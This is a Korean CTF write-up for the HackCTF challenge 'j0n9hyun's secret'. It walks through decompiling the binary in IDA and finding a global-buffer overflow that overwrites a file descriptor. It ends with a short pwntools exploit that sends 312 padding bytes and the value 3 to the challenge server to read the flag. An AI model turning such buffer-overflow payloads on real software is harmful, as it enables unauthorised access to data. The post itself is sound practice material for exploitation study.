Pwnstar
HackCTF j0n9hyun's secret 본문
이 문제는 look at me 문제처럼 statically linked된 문제이다.
아마 got overwrite가 불가능 할 것처럼 보이고(방법이 있는데 모르는 것일수도)
64비트 바이너리이고 NX bit가 걸려있어서 쉘코드 실행이 불가능하다.
IDA로 main 함수가 어떻게 되어있는 지 보자
첫 화면은 이런데 main 함수가 어디있는지 찾을 수가 없었다.
이럴 때에는 바이너리를 한 번 실행해보고 나오는 문자열을 검색해서 나오는 함수를 보면 될 것이다.
input name: 이라는 문자열이 나오고 입력을 받고 바로 종료된다. 그러면 이 문자열을 shift + F12로 찾아서 따라가보자
__int64 sub_4009C9()
{
int v0; // ST0C_4
sub_40FDD0(off_6CA748, 0LL, 2LL, 0LL);
sub_40FDD0(off_6CA740, 0LL, 2LL, 0LL);
sub_40FDD0(off_6CA738, 0LL, 2LL, 0LL);
dword_6CCE98 = sub_43F670("top_secret", 114LL);
sub_40F3D0((unsigned __int64)"input name: ");
sub_40F500((unsigned __int64)"%s");
v0 = sub_43F6D0((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
sub_43F730(1LL, &unk_6CCD6A, v0);
return 0LL;
}
이런 함수가 나왔는데 다른 함수들의 이름도 전부 sub_이런 식으로 바뀌어 있어서 무슨 함수인지 대충 예측해서 이름들을 한번 바꿔줘보자.
첫 함수 세 개는 모양이 낯이 익은게 setvbuf 함수같다.
__int64 sub_4009C9()
{
setvbuf(off_6CA748, 0LL, 2LL, 0LL);
setvbuf(off_6CA740, 0LL, 2LL, 0LL);
setvbuf(off_6CA738, 0LL, 2LL, 0LL);
dword_6CCE98 = open((__int64)"top_secret", 114LL);
printf((unsigned __int64)"input name: ");
scanf((unsigned __int64)"%s");
read((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
write(1LL, (__int64)&unk_6CCD6A);
return 0LL;
}
음 이렇게 해놓으니 대충 흐름이 보인다. top_secret을 open하면 fd가 0x6cce98에 담긴다.
fd에는 4가 담겨있다.
lsof 명령어로 4번 파일 디스크립터가 무엇을 가리키는 지 확인해보자.
음 그러니까 이 프로그램은 결국 top_secret의 내용을 출력해주는 것이었다.
보면 3번이 flag 파일에 연결되어 있는데 fd 값을 3으로 바꾸거나...bof로 쉘을 실행할 수 있으면 플래그를 볼 수 있을 것이다.
우선 입력값이 어디로 들어가는 지 보자
입력값은 0x6ccd60에 있고, fd는 0x6cce98에 있으니
312바이트 이상을 입력하면 fd를 덮을 수 있다. 한번 시험해볼까?
로컬에서 실행해봤자 flag파일과 top_secret 파일 모두 비어있어서 nc로 붙어서 해봤다.
ex.py
from pwn import*
p = remote("ctf.j0n9hyun.xyz", 3031)
p.recvuntil("input name: ")
payload = "A"*312
payload += p64(3)
p.sendline(payload)
p.interactive()
이렇게 코드를 짜고 실행해보면
오우 제대로 푼 것 같다!
뇌피셜이긴 한데, mprotect 함수를 사용해서 nx를 풀고 쉘코드를 실행하는 방법으로도 풀 수 있을 것 같다
'Wargame > HackCTF' 카테고리의 다른 글
HackCTF pwning (0) | 2020.07.20 |
---|---|
HackCTF Unexploitable #3 (0) | 2020.06.29 |
HackCTF World Best Encryption Tool (0) | 2020.06.28 |
HackCTF register (0) | 2020.06.28 |
HackCTF rtc (0) | 2020.06.28 |